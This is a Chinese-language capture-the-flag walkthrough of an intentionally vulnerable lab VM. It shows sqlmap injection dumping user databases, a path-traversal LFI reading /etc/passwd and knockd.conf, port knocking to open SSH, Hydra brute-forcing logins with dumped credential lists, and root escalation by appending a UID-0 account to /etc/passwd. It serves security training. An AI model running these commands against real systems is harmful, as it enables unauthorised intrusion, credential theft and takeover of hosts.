1.表单SQL注入漏洞
端口扫描
注意看,22端口状态是“filtered”,这说明存在“防火墙”将端口过滤。
web枚举
在枚举过程中,其它方面没有发现可推进的攻击面,在search页面有一个提交表单,在这里可以测试是否存在sql注入攻击。
这里有一个手动测试的walkthrough可供参考。
Sqlmap
用sqlmap会简便很多,首先用burpsuite抓取表单数据,并复制存储为search.txt.
然后利用sqlmap查看提交表单是否存在sql注入漏洞:
sqlmap -r search.txt --dbs --batch
扫描到存在漏洞和可利用的数据库。
查看staff库:
sqlmap -r search.txt -D Staff --dump-all --batch
staff库有两个表:
Table: Users
Table: StaffDetails
查看users库:
sqlmap -r search.txt -D users --dump-all --batch
Table: UserDetails
我们感兴趣的是admin用户,其password是一串hash密码,利用hash解析工具尝试能否解析出明文。
解析出密码为:transorbital1
2.本地文件包含漏洞(LFI)
用admin账户和密码登录网页:
看到登录后页面存在“File does not exist”的错误提示,这表明此处引用了文件,这个文件不存在或者放置的路径错误。
说明用到了文件包含,可能存在LFI(Local File Inculde)漏洞。
测试是否存在漏洞,如果存在,可显示包含文件内容:
http://192.168.71.156/welcome.php?file=../../../../../../../etc/passwd
显示出文件内容,表明存在LFI漏洞,枚举文件发现knockd.conf。因为在nmap扫描时发现了22过滤端口,knock敲门端口可做到这一点,所以这个文件应该就是过滤端口的配置文件。
http://192.168.71.156/welcome.php?file=../../../../../../../etc/knockd.conf
看到 [openSSH] sequence = 7469,8475,9842,则向靶机这三个端口发送syn包可以打开22端口。
knock 192.168.71.156 7469 8475 9842
然后再次用nmap扫描:
发现22端口已开启。
3.Hydra暴力破解
ssh端口开放后,尝试连接靶机。利用admin的账户登录没有成功,所以回到sqlmap dump的UserDetails表,分别将username字段和password字段内容生成用户名和密码字典,然后利用hydra工具自动去验证哪些账密是可用的,也可以看作暴力破解。
user.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
achelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
passwd.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
用hydra进行暴力破解:
hydra -L user.txt -P passwd.txt 192.168.71.156 ssh
成功验证了3个账密信息:
用以上账号ssh连接靶机,在janitor用户的文件夹中发现新的密码文件:
将这些密码加入到passwd.txt,继续爆破。
发现多了一个新的账号被爆破出来:
4.修改passwd文件提权
登录fredf账户,查看sudo列表:
看到fredf有权限执行root的文件test。
查看这个文件所在目录,在/opt/devstuff目录发现了该文件的源码文件,这个文件是由python文件编译成的。
这个程序的作用是读取一个文件的内容,写到另一个文件里面去。这样的话就可以利用这个程序,以root身份修改/etc/passwd文件,添加一个和root拥有同样权限的用户,这样即使不知道root用户密码也可以提权至root。
passwd的文件中root用户的信息结构:
把用户名和密码处修改为新用户,其它不变即可。
首先利用openssl获取summerone用户密码hash:
openssl passwd -1 -salt summerone 123456
创建/tmp/summerone文件,写入待填入passwd的内容:
echo 'summerone:$1$summeron$hS0VqLZyefgRlknoJB9Kd1:0:0::/root:/bin/bash' >>/tmp/summerone
将summerone用户信息添加到passwd文件:
sudo ./test /tmp/summerone /etc/passwd
查看passwd文件,发现summerone用户已经写入了。
运行su summerone,输入密码123456,成功提权至root。
获取到flag:
5.总结
这个靶机很有趣,第一次遇到了过滤状态的端口,并通过漏洞利用找到了打开过滤的方法。
靶机主要考察以下知识点:
- 表单SQL注入漏洞;
- LFI本地文件包含漏洞——枚举靶机文件;
- Hydra利用泄露的用户和密码数据进行爆破;
- 利用修改passwd文件提权。